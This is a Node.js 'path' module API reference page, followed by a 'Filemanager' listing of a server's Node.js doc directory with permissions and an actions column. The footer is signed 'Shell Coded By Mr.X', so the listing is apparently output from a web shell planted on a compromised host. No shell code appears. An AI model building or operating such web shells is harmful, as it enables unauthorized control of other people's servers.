<li><code>name</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li><code>ext</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
</li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
<p>The <code>path.format()</code> method returns a path string from an object. This is the
opposite of <a href="#pathparsepath"><code>path.parse()</code></a>.</p>
<p>When providing properties to the <code>pathObject</code> remember that there are
combinations where one property has priority over another:</p>
<ul>
<li><code>pathObject.root</code> is ignored if <code>pathObject.dir</code> is provided</li>
<li><code>pathObject.ext</code> and <code>pathObject.name</code> are ignored if <code>pathObject.base</code> exists</li>
</ul>
<p>For example, on POSIX:</p>
<pre><code class="language-js"><span class="hljs-comment">// If `dir`, `root` and `base` are provided,</span>
<span class="hljs-comment">// `${dir}${path.sep}${base}`</span>
<span class="hljs-comment">// will be returned. `root` is ignored.</span>
path.<span class="hljs-title function_">format</span>({
  <span class="hljs-attr">root</span>: <span class="hljs-string">'/ignored'</span>,
  <span class="hljs-attr">dir</span>: <span class="hljs-string">'/home/user/dir'</span>,
  <span class="hljs-attr">base</span>: <span class="hljs-string">'file.txt'</span>,
});
<span class="hljs-comment">// Returns: '/home/user/dir/file.txt'</span>

<span class="hljs-comment">// `root` will be used if `dir` is not specified.</span>
<span class="hljs-comment">// If only `root` is provided or `dir` is equal to `root` then the</span>
<span class="hljs-comment">// platform separator will not be included. `ext` will be ignored.</span>
path.<span class="hljs-title function_">format</span>({
  <span class="hljs-attr">root</span>: <span class="hljs-string">'/'</span>,
  <span class="hljs-attr">base</span>: <span class="hljs-string">'file.txt'</span>,
  <span class="hljs-attr">ext</span>: <span class="hljs-string">'ignored'</span>,
});
<span class="hljs-comment">// Returns: '/file.txt'</span>

<span class="hljs-comment">// `name` + `ext` will be used if `base` is not specified.</span>
path.<span class="hljs-title function_">format</span>({
  <span class="hljs-attr">root</span>: <span class="hljs-string">'/'</span>,
  <span class="hljs-attr">name</span>: <span class="hljs-string">'file'</span>,
  <span class="hljs-attr">ext</span>: <span class="hljs-string">'.txt'</span>,
});
<span class="hljs-comment">// Returns: '/file.txt'</span>

<span class="hljs-comment">// The dot will be added if it is not specified in `ext`.</span>
path.<span class="hljs-title function_">format</span>({
  <span class="hljs-attr">root</span>: <span class="hljs-string">'/'</span>,
  <span class="hljs-attr">name</span>: <span class="hljs-string">'file'</span>,
  <span class="hljs-attr">ext</span>: <span class="hljs-string">'txt'</span>,
});
<span class="hljs-comment">// Returns: '/file.txt'</span></code> <button class="copy-button">copy</button></pre>
<p>On Windows:</p>
<pre><code class="language-js">path.<span class="hljs-title function_">format</span>({
  <span class="hljs-attr">dir</span>: <span class="hljs-string">'C:\\path\\dir'</span>,
  <span class="hljs-attr">base</span>: <span class="hljs-string">'file.txt'</span>,
});
<span class="hljs-comment">// Returns: 'C:\\path\\dir\\file.txt'</span></code> <button class="copy-button">copy</button></pre>
</section><section><h3><code>path.matchesGlob(path, pattern)</code><span><a class="mark" href="#pathmatchesglobpath-pattern" id="pathmatchesglobpath-pattern">#</a></span><a aria-hidden="true" class="legacy" id="path_path_matchesglob_path_pattern"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v22.20.0</td>
<td><p>Marking the API stable.</p></td></tr>
<tr><td>v22.5.0</td>
<td><p><span>Added in: v22.5.0</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>path</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> The path to glob-match against.</li>
<li><code>pattern</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> The glob to check the path against.</li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type" class="type">&#x3C;boolean></a> Whether or not the <code>path</code> matched the <code>pattern</code>.</li>
</ul>
<p>The <code>path.matchesGlob()</code> method determines if <code>path</code> matches the <code>pattern</code>.</p>
<p>For example:</p>
<pre><code class="language-js">path.<span class="hljs-title function_">matchesGlob</span>(<span class="hljs-string">'/foo/bar'</span>, <span class="hljs-string">'/foo/*'</span>); <span class="hljs-comment">// true</span>
path.<span class="hljs-title function_">matchesGlob</span>(<span class="hljs-string">'/foo/bar*'</span>, <span class="hljs-string">'foo/bird'</span>); <span class="hljs-comment">// false</span></code> <button class="copy-button">copy</button></pre>
<p>A <a href="errors.html#class-typeerror"><code>TypeError</code></a> is thrown if <code>path</code> or <code>pattern</code> are not strings.</p>
</section><section><h3><code>path.isAbsolute(path)</code><span><a class="mark" href="#pathisabsolutepath" id="pathisabsolutepath">#</a></span><a aria-hidden="true" class="legacy" id="path_path_isabsolute_path"></a></h3>
<div class="api_metadata">
<span>Added in: v0.11.2</span>
</div>
<ul>
<li><code>path</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type" class="type">&#x3C;boolean></a></li>
</ul>
<p>The <code>path.isAbsolute()</code> method determines if the literal <code>path</code> is absolute.
Therefore, it’s not safe for mitigating path traversals.</p>
<p>If the given <code>path</code> is a zero-length string, <code>false</code> will be returned.</p>
<p>For example, on POSIX:</p>
<pre><code class="language-js">path.<span class="hljs-title function_">isAbsolute</span>(<span class="hljs-string">'/foo/bar'</span>);   <span class="hljs-comment">// true</span>
path.<span class="hljs-title function_">isAbsolute</span>(<span class="hljs-string">'/baz/..'</span>);    <span class="hljs-comment">// true</span>
path.<span class="hljs-title function_">isAbsolute</span>(<span class="hljs-string">'/baz/../..'</span>); <span class="hljs-comment">// true</span>
path.<span class="hljs-title function_">isAbsolute</span>(<span class="hljs-string">'qux/'</span>);       <span class="hljs-comment">// false</span>
path.<span class="hljs-title function_">isAbsolute</span>(<span class="hljs-string">'.'</span>);          <span class="hljs-comment">// false</span></code> <button class="copy-button">copy</button></pre>
<p>On Windows:</p>
<pre><code class="language-js">path.<span class="hljs-title function_">isAbsolute</span>(<span class="hljs-string">'//server'</span>);    <span class="hljs-comment">// true</span>
path.<span class="hljs-title function_">isAbsolute</span>(<span class="hljs-string">'\\\\server'</span>);  <span class="hljs-comment">// true</span>
path.<span class="hljs-title function_">isAbsolute</span>(<span class="hljs-string">'C:/foo/..'</span>);   <span class="hljs-comment">// true</span>
path.<span class="hljs-title function_">isAbsolute</span>(<span class="hljs-string">'C:\\foo\\..'</span>); <span class="hljs-comment">// true</span>
path.<span class="hljs-title function_">isAbsolute</span>(<span class="hljs-string">'bar\\baz'</span>);    <span class="hljs-comment">// false</span>
path.<span class="hljs-title function_">isAbsolute</span>(<span class="hljs-string">'bar/baz'</span>);     <span class="hljs-comment">// false</span>
path.<span class="hljs-title function_">isAbsolute</span>(<span class="hljs-string">'.'</span>);           <span class="hljs-comment">// false</span></code> <button class="copy-button">copy</button></pre>
<p>A <a href="errors.html#class-typeerror"><code>TypeError</code></a> is thrown if <code>path</code> is not a string.</p>
</section><section><h3><code>path.join([...paths])</code><span><a class="mark" href="#pathjoinpaths" id="pathjoinpaths">#</a></span><a aria-hidden="true" class="legacy" id="path_path_join_paths"></a></h3>
<div class="api_metadata">
<span>Added in: v0.1.16</span>
</div>
<ul>
<li><code>...paths</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> A sequence of path segments</li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
<p>The <code>path.join()</code> method joins all given <code>path</code> segments together using the
platform-specific separator as a delimiter, then normalizes the resulting path.</p>
<p>Zero-length <code>path</code> segments are ignored. If the joined path string is a
zero-length string then <code>'.'</code> will be returned, representing the current
working directory.</p>
<pre><code class="language-js">path.<span class="hljs-title function_">join</span>(<span class="hljs-string">'/foo'</span>, <span class="hljs-string">'bar'</span>, <span class="hljs-string">'baz/asdf'</span>, <span class="hljs-string">'quux'</span>, <span class="hljs-string">'..'</span>);
<span class="hljs-comment">// Returns: '/foo/bar/baz/asdf'</span>

path.<span class="hljs-title function_">join</span>(<span class="hljs-string">'foo'</span>, {}, <span class="hljs-string">'bar'</span>);
<span class="hljs-comment">// Throws 'TypeError: Path must be a string. Received {}'</span></code> <button class="copy-button">copy</button></pre>
<p>A <a href="errors.html#class-typeerror"><code>TypeError</code></a> is thrown if any of the path segments is not a string.</p>
</section><section><h3><code>path.normalize(path)</code><span><a class="mark" href="#pathnormalizepath" id="pathnormalizepath">#</a></span><a aria-hidden="true" class="legacy" id="path_path_normalize_path"></a></h3>
<div class="api_metadata">
<span>Added in: v0.1.23</span>
</div>
<ul>
<li><code>path</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
<p>The <code>path.normalize()</code> method normalizes the given <code>path</code>, resolving <code>'..'</code> and
<code>'.'</code> segments.</p>
<p>When multiple, sequential path segment separation characters are found (e.g.
<code>/</code> on POSIX and either <code>\</code> or <code>/</code> on Windows), they are replaced by a single
instance of the platform-specific path segment separator (<code>/</code> on POSIX and
<code>\</code> on Windows). Trailing separators are preserved.</p>
<p>If the <code>path</code> is a zero-length string, <code>'.'</code> is returned, representing the
current working directory.</p>
<p>On POSIX, the types of normalization applied by this function do not strictly
adhere to the POSIX specification. For example, this function will replace two
leading forward slashes with a single slash as if it was a regular absolute
path, whereas a few POSIX systems assign special meaning to paths beginning with
exactly two forward slashes. Similarly, other substitutions performed by this
function, such as removing <code>..</code> segments, may change how the underlying system
resolves the path.</p>
<p>For example, on POSIX:</p>
<pre><code class="language-js">path.<span class="hljs-title function_">normalize</span>(<span class="hljs-string">'/foo/bar//baz/asdf/quux/..'</span>);
<span class="hljs-comment">// Returns: '/foo/bar/baz/asdf'</span></code> <button class="copy-button">copy</button></pre>
<p>On Windows:</p>
<pre><code class="language-js">path.<span class="hljs-title function_">normalize</span>(<span class="hljs-string">'C:\\temp\\\\foo\\bar\\..\\'</span>);
<span class="hljs-comment">// Returns: 'C:\\temp\\foo\\'</span></code> <button class="copy-button">copy</button></pre>
<p>Since Windows recognizes multiple path separators, both separators will be
replaced by instances of the Windows preferred separator (<code>\</code>):</p>
<pre><code class="language-js">path.<span class="hljs-property">win32</span>.<span class="hljs-title function_">normalize</span>(<span class="hljs-string">'C:////temp\\\\/\\/\\/foo/bar'</span>);
<span class="hljs-comment">// Returns: 'C:\\temp\\foo\\bar'</span></code> <button class="copy-button">copy</button></pre>
<p>A <a href="errors.html#class-typeerror"><code>TypeError</code></a> is thrown if <code>path</code> is not a string.</p>
</section><section><h3><code>path.parse(path)</code><span><a class="mark" href="#pathparsepath" id="pathparsepath">#</a></span><a aria-hidden="true" class="legacy" id="path_path_parse_path"></a></h3>
<div class="api_metadata">
<span>Added in: v0.11.15</span>
</div>
<ul>
<li><code>path</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object" class="type">&#x3C;Object></a></li>
</ul>
<p>The <code>path.parse()</code> method returns an object whose properties represent
significant elements of the <code>path</code>. Trailing directory separators are ignored,
see <a href="#pathsep"><code>path.sep</code></a>.</p>
<p>The returned object will have the following properties:</p>
<ul>
<li><code>dir</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li><code>root</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li><code>base</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li><code>name</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li><code>ext</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
<p>For example, on POSIX:</p>
<pre><code class="language-js">path.<span class="hljs-title function_">parse</span>(<span class="hljs-string">'/home/user/dir/file.txt'</span>);
<span class="hljs-comment">// Returns:</span>
<span class="hljs-comment">// { root: '/',</span>
<span class="hljs-comment">//   dir: '/home/user/dir',</span>
<span class="hljs-comment">//   base: 'file.txt',</span>
<span class="hljs-comment">//   ext: '.txt',</span>
<span class="hljs-comment">//   name: 'file' }</span></code> <button class="copy-button">copy</button></pre>
<pre><code class="language-text">┌─────────────────────┬────────────┐
│          dir        │    base    │
├──────┬              ├──────┬─────┤
│ root │              │ name │ ext │
"  /    home/user/dir / file  .txt "
└──────┴──────────────┴──────┴─────┘
(All spaces in the "" line should be ignored. They are purely for formatting.)</code> <button class="copy-button">copy</button></pre>
<p>On Windows:</p>
<pre><code class="language-js">path.<span class="hljs-title function_">parse</span>(<span class="hljs-string">'C:\\path\\dir\\file.txt'</span>);
<span class="hljs-comment">// Returns:</span>
<span class="hljs-comment">// { root: 'C:\\',</span>
<span class="hljs-comment">//   dir: 'C:\\path\\dir',</span>
<span class="hljs-comment">//   base: 'file.txt',</span>
<span class="hljs-comment">//   ext: '.txt',</span>
<span class="hljs-comment">//   name: 'file' }</span></code> <button class="copy-button">copy</button></pre>
<pre><code class="language-text">┌─────────────────────┬────────────┐
│          dir        │    base    │
├──────┬              ├──────┬─────┤
│ root │              │ name │ ext │
" C:\      path\dir   \ file  .txt "
└──────┴──────────────┴──────┴─────┘
(All spaces in the "" line should be ignored. They are purely for formatting.)</code> <button class="copy-button">copy</button></pre>
<p>A <a href="errors.html#class-typeerror"><code>TypeError</code></a> is thrown if <code>path</code> is not a string.</p>
</section><section><h3><code>path.posix</code><span><a class="mark" href="#pathposix" id="pathposix">#</a></span><a aria-hidden="true" class="legacy" id="path_path_posix"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v15.3.0</td>
<td><p>Exposed as <code>require('path/posix')</code>.</p></td></tr>
<tr><td>v0.11.15</td>
<td><p><span>Added in: v0.11.15</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object" class="type">&#x3C;Object></a></li>
</ul>
<p>The <code>path.posix</code> property provides access to POSIX specific implementations
of the <code>path</code> methods.</p>
<p>The API is accessible via <code>require('node:path').posix</code> or <code>require('node:path/posix')</code>.</p>
</section><section><h3><code>path.relative(from, to)</code><span><a class="mark" href="#pathrelativefrom-to" id="pathrelativefrom-to">#</a></span><a aria-hidden="true" class="legacy" id="path_path_relative_from_to"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v6.8.0</td>
<td><p>On Windows, the leading slashes for UNC paths are now included in the return value.</p></td></tr>
<tr><td>v0.5.0</td>
<td><p><span>Added in: v0.5.0</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li><code>from</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li><code>to</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
<p>The <code>path.relative()</code> method returns the relative path from <code>from</code> to <code>to</code> based
on the current working directory. If <code>from</code> and <code>to</code> each resolve to the same
path (after calling <code>path.resolve()</code> on each), a zero-length string is returned.</p>
<p>If a zero-length string is passed as <code>from</code> or <code>to</code>, the current working
directory will be used instead of the zero-length strings.</p>
<p>For example, on POSIX:</p>
<pre><code class="language-js">path.<span class="hljs-title function_">relative</span>(<span class="hljs-string">'/data/orandea/test/aaa'</span>, <span class="hljs-string">'/data/orandea/impl/bbb'</span>);
<span class="hljs-comment">// Returns: '../../impl/bbb'</span></code> <button class="copy-button">copy</button></pre>
<p>On Windows:</p>
<pre><code class="language-js">path.<span class="hljs-title function_">relative</span>(<span class="hljs-string">'C:\\orandea\\test\\aaa'</span>, <span class="hljs-string">'C:\\orandea\\impl\\bbb'</span>);
<span class="hljs-comment">// Returns: '..\\..\\impl\\bbb'</span></code> <button class="copy-button">copy</button></pre>
<p>A <a href="errors.html#class-typeerror"><code>TypeError</code></a> is thrown if either <code>from</code> or <code>to</code> is not a string.</p>
</section><section><h3><code>path.resolve([...paths])</code><span><a class="mark" href="#pathresolvepaths" id="pathresolvepaths">#</a></span><a aria-hidden="true" class="legacy" id="path_path_resolve_paths"></a></h3>
<div class="api_metadata">
<span>Added in: v0.3.4</span>
</div>
<ul>
<li><code>...paths</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a> A sequence of paths or path segments</li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
<p>The <code>path.resolve()</code> method resolves a sequence of paths or path segments into
an absolute path.</p>
<p>The given sequence of paths is processed from right to left, with each
subsequent <code>path</code> prepended until an absolute path is constructed.
For instance, given the sequence of path segments: <code>/foo</code>, <code>/bar</code>, <code>baz</code>,
calling <code>path.resolve('/foo', '/bar', 'baz')</code> would return <code>/bar/baz</code>
because <code>'baz'</code> is not an absolute path but <code>'/bar' + '/' + 'baz'</code> is.</p>
<p>If, after processing all given <code>path</code> segments, an absolute path has not yet
been generated, the current working directory is used.</p>
<p>The resulting path is normalized and trailing slashes are removed unless the
path is resolved to the root directory.</p>
<p>Zero-length <code>path</code> segments are ignored.</p>
<p>If no <code>path</code> segments are passed, <code>path.resolve()</code> will return the absolute path
of the current working directory.</p>
<pre><code class="language-js">path.<span class="hljs-title function_">resolve</span>(<span class="hljs-string">'/foo/bar'</span>, <span class="hljs-string">'./baz'</span>);
<span class="hljs-comment">// Returns: '/foo/bar/baz'</span>

path.<span class="hljs-title function_">resolve</span>(<span class="hljs-string">'/foo/bar'</span>, <span class="hljs-string">'/tmp/file/'</span>);
<span class="hljs-comment">// Returns: '/tmp/file'</span>

path.<span class="hljs-title function_">resolve</span>(<span class="hljs-string">'wwwroot'</span>, <span class="hljs-string">'static_files/png/'</span>, <span class="hljs-string">'../gif/image.gif'</span>);
<span class="hljs-comment">// If the current working directory is /home/myself/node,</span>
<span class="hljs-comment">// this returns '/home/myself/node/wwwroot/static_files/gif/image.gif'</span></code> <button class="copy-button">copy</button></pre>
<p>A <a href="errors.html#class-typeerror"><code>TypeError</code></a> is thrown if any of the arguments is not a string.</p>
</section><section><h3><code>path.sep</code><span><a class="mark" href="#pathsep" id="pathsep">#</a></span><a aria-hidden="true" class="legacy" id="path_path_sep"></a></h3>
<div class="api_metadata">
<span>Added in: v0.7.9</span>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
<p>Provides the platform-specific path segment separator:</p>
<ul>
<li><code>\</code> on Windows</li>
<li><code>/</code> on POSIX</li>
</ul>
<p>For example, on POSIX:</p>
<pre><code class="language-js"><span class="hljs-string">'foo/bar/baz'</span>.<span class="hljs-title function_">split</span>(path.<span class="hljs-property">sep</span>);
<span class="hljs-comment">// Returns: ['foo', 'bar', 'baz']</span></code> <button class="copy-button">copy</button></pre>
<p>On Windows:</p>
<pre><code class="language-js"><span class="hljs-string">'foo\\bar\\baz'</span>.<span class="hljs-title function_">split</span>(path.<span class="hljs-property">sep</span>);
<span class="hljs-comment">// Returns: ['foo', 'bar', 'baz']</span></code> <button class="copy-button">copy</button></pre>
<p>On Windows, both the forward slash (<code>/</code>) and backward slash (<code>\</code>) are accepted
as path segment separators; however, the <code>path</code> methods only add backward
slashes (<code>\</code>).</p>
</section><section><h3><code>path.toNamespacedPath(path)</code><span><a class="mark" href="#pathtonamespacedpathpath" id="pathtonamespacedpathpath">#</a></span><a aria-hidden="true" class="legacy" id="path_path_tonamespacedpath_path"></a></h3>
<div class="api_metadata">
<span>Added in: v9.0.0</span>
</div>
<ul>
<li><code>path</code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
<li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type">&#x3C;string></a></li>
</ul>
<p>On Windows systems only, returns an equivalent <a href="https://docs.microsoft.com/en-us/windows/desktop/FileIO/naming-a-file#namespaces">namespace-prefixed path</a> for
the given <code>path</code>. If <code>path</code> is not a string, <code>path</code> will be returned without
modifications.</p>
<p>This method is meaningful only on Windows systems. On POSIX systems, the
method is non-operational and always returns <code>path</code> without modifications.</p>
</section><section><h3><code>path.win32</code><span><a class="mark" href="#pathwin32" id="pathwin32">#</a></span><a aria-hidden="true" class="legacy" id="path_path_win32"></a></h3>
<div class="api_metadata">
<details class="changelog"><summary>History</summary>
<table>
<tbody><tr><th>Version</th><th>Changes</th></tr>
<tr><td>v15.3.0</td>
<td><p>Exposed as <code>require('path/win32')</code>.</p></td></tr>
<tr><td>v0.11.15</td>
<td><p><span>Added in: v0.11.15</span></p></td></tr>
</tbody></table>
</details>
</div>
<ul>
<li>Type: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object" class="type">&#x3C;Object></a></li>
</ul>
<p>The <code>path.win32</code> property provides access to Windows-specific implementations
of the <code>path</code> methods.</p>
<p>The API is accessible via <code>require('node:path').win32</code> or <code>require('node:path/win32')</code>.</p></section>
        <!-- API END -->
      </div>
    </div>
  </div>
</body>
</html>

Filemanager

DIR : / usr/ share/ doc/ nodejs/ api/
Name Type Size Permission Actions
assets Folder 0755
addons.html File 107.46 KB 0644
addons.json.gz File 11.01 KB 0644
addons.md File 39.89 KB 0644
all.html File 8.67 MB 0644
all.json.gz File 1.01 MB 0644
assert.html File 215.02 KB 0644
assert.json.gz File 15.05 KB 0644
assert.md File 72.71 KB 0644
async_context.html File 85.71 KB 0644
async_context.json.gz File 7.18 KB 0644
async_context.md File 25.17 KB 0644
async_hooks.html File 88.88 KB 0644
async_hooks.json.gz File 9.82 KB 0644
async_hooks.md File 30.52 KB 0644
buffer.html File 484.41 KB 0644
buffer.json.gz File 29.12 KB 0644
buffer.md File 149.42 KB 0644
child_process.html File 214.18 KB 0644
child_process.json.gz File 21.81 KB 0644
child_process.md File 83.3 KB 0644
cli.html File 258.67 KB 0644
cli.json.gz File 39.13 KB 0644
cli.md File 113.19 KB 0644
cluster.html File 92.16 KB 0644
cluster.json.gz File 9.46 KB 0644
cluster.md File 28.89 KB 0644
console.html File 63.73 KB 0644
console.json.gz File 6.28 KB 0644
console.md File 17.38 KB 0644
corepack.html File 15.56 KB 0644
corepack.json File 866 B 0644
corepack.md File 401 B 0644
crypto.html File 526.52 KB 0644
crypto.json.gz File 46.5 KB 0644
crypto.md File 193.72 KB 0644
debugger.html File 30.54 KB 0644
debugger.json.gz File 3.42 KB 0644
debugger.md File 7.88 KB 0644
deprecations.html File 237.81 KB 0644
deprecations.json.gz File 28.63 KB 0644
deprecations.md File 117.72 KB 0644
dgram.html File 93.62 KB 0644
dgram.json.gz File 10.63 KB 0644
dgram.md File 32.28 KB 0644
diagnostics_channel.html File 130.69 KB 0644
diagnostics_channel.json.gz File 10.38 KB 0644
diagnostics_channel.md File 39.31 KB 0644
dns.html File 150.29 KB 0644
dns.json.gz File 16.91 KB 0644
dns.md File 59.01 KB 0644
documentation.html File 27.74 KB 0644
documentation.json.gz File 2.57 KB 0644
documentation.md File 5.68 KB 0644
domain.html File 49.94 KB 0644
domain.json.gz File 6.21 KB 0644
domain.md File 15.21 KB 0644
embedding.html File 27.42 KB 0644
embedding.json.gz File 3.03 KB 0644
embedding.md File 6.74 KB 0644
environment_variables.html File 24.29 KB 0644
environment_variables.json.gz File 2.58 KB 0644
environment_variables.md File 5.08 KB 0644
errors.html File 337.36 KB 0644
errors.json.gz File 47.68 KB 0644
errors.md File 112.09 KB 0644
esm.html File 93.22 KB 0644
esm.json.gz File 16 KB 0644
esm.md File 44.27 KB 0644
events.html File 236.33 KB 0644
events.json.gz File 17.91 KB 0644
events.md File 68.71 KB 0644
fs.html File 666.11 KB 0644
fs.json.gz File 71.32 KB 0644
fs.md File 263.58 KB 0644
globals.html File 98.26 KB 0644
globals.json.gz File 12.43 KB 0644
globals.md File 29.48 KB 0644
http.html File 330.81 KB 0644
http.json.gz File 40 KB 0644
http.md File 126.6 KB 0644
http2.html File 389.2 KB 0644
http2.json.gz File 42.34 KB 0644
http2.md File 152.2 KB 0644
https.html File 72.6 KB 0644
https.json.gz File 6.21 KB 0644
https.md File 21.04 KB 0644
index.html File 13.9 KB 0644
index.json File 54 B 0644
index.md File 2.06 KB 0644
inspector.html File 65.18 KB 0644
inspector.json.gz File 5.74 KB 0644
inspector.md File 17.75 KB 0644
intl.html File 34.48 KB 0644
intl.json.gz File 4.12 KB 0644
intl.md File 11.49 KB 0644
module.html File 171.06 KB 0644
module.json.gz File 21.59 KB 0644
module.md File 69.85 KB 0644
modules.html File 96.67 KB 0644
modules.json.gz File 14.83 KB 0644
modules.md File 40.53 KB 0644
n-api.html File 432.96 KB 0644
n-api.json.gz File 55.7 KB 0644
n-api.md File 235.86 KB 0644
net.html File 167.45 KB 0644
net.json.gz File 20.51 KB 0644
net.md File 60.3 KB 0644
os.html File 74.59 KB 0644
os.json.gz File 9.18 KB 0644
os.md File 36.29 KB 0644
packages.html File 89.9 KB 0644
packages.json.gz File 13.05 KB 0644
packages.md File 38.8 KB 0644
path.html File 57.7 KB 0644
path.json.gz File 5.43 KB 0644
path.md File 16.48 KB 0644
perf_hooks.html File 187.34 KB 0644
perf_hooks.json.gz File 13.83 KB 0644
perf_hooks.md File 59.15 KB 0644
permissions.html File 29.01 KB 0644
permissions.json.gz File 3.64 KB 0644
permissions.md File 8.35 KB 0644
process.html File 343.73 KB 0644
process.json.gz File 37.12 KB 0644
process.md File 128.36 KB 0644
punycode.html File 27.65 KB 0644
punycode.json.gz File 2 KB 0644
punycode.md File 4.19 KB 0644
querystring.html File 29.92 KB 0644
querystring.json.gz File 2.65 KB 0644
querystring.md File 5.55 KB 0644
readline.html File 115.99 KB 0644
readline.json.gz File 11.81 KB 0644
readline.md File 41.32 KB 0644
repl.html File 96.41 KB 0644
repl.json.gz File 11.56 KB 0644
repl.md File 31.55 KB 0644
report.html File 101.16 KB 0644
report.json.gz File 7.44 KB 0644
report.md File 23.41 KB 0644
single-executable-applications.html File 52.13 KB 0644
single-executable-applications.json.gz File 6.77 KB 0644
single-executable-applications.md File 18.27 KB 0644
sqlite.html File 92.73 KB 0644
sqlite.json.gz File 11 KB 0644
sqlite.md File 34.86 KB 0644
stream.html File 412.01 KB 0644
stream.json.gz File 53.26 KB 0644
stream.md File 152.09 KB 0644
string_decoder.html File 28.31 KB 0644
string_decoder.json.gz File 1.59 KB 0644
string_decoder.md File 3.57 KB 0644
synopsis.html File 20.35 KB 0644
synopsis.json File 2.96 KB 0644
synopsis.md File 2.11 KB 0644
test.html File 343.78 KB 0644
test.json.gz File 31.84 KB 0644
test.md File 122.47 KB 0644
timers.html File 62.4 KB 0644
timers.json.gz File 5.33 KB 0644
timers.md File 16.76 KB 0644
tls.html File 203.47 KB 0644
tls.json.gz File 35.24 KB 0644
tls.md File 98.58 KB 0644
tracing.html File 43.55 KB 0644
tracing.json.gz File 3.58 KB 0644
tracing.md File 10.58 KB 0644
tty.html File 40.73 KB 0644
tty.json.gz File 3.88 KB 0644
tty.md File 9.56 KB 0644
typescript.html File 29.27 KB 0644
typescript.json.gz File 3.38 KB 0644
typescript.md File 7.69 KB 0644
url.html File 161.29 KB 0644
url.json.gz File 16.67 KB 0644
url.md File 57.4 KB 0644
util.html File 351.85 KB 0644
util.json.gz File 30.22 KB 0644
util.md File 114.07 KB 0644
v8.html File 134.81 KB 0644
v8.json.gz File 14.51 KB 0644
v8.md File 43.79 KB 0644
vm.html File 188 KB 0644
vm.json.gz File 22.9 KB 0644
vm.md File 80.88 KB 0644
wasi.html File 32.28 KB 0644
wasi.json.gz File 3.49 KB 0644
wasi.md File 8.25 KB 0644
webcrypto.html File 161.61 KB 0644
webcrypto.json.gz File 10.2 KB 0644
webcrypto.md File 47.22 KB 0644
webstreams.html File 165.16 KB 0644
webstreams.json.gz File 10.95 KB 0644
webstreams.md File 41.21 KB 0644
worker_threads.html File 169.32 KB 0644
worker_threads.json.gz File 17.33 KB 0644
worker_threads.md File 59.46 KB 0644
zlib.html File 156.29 KB 0644
zlib.json.gz File 12.86 KB 0644
zlib.md File 49 KB 0644

Copyright reserved © 2026 xtooler.online Shell Coded By Mr.X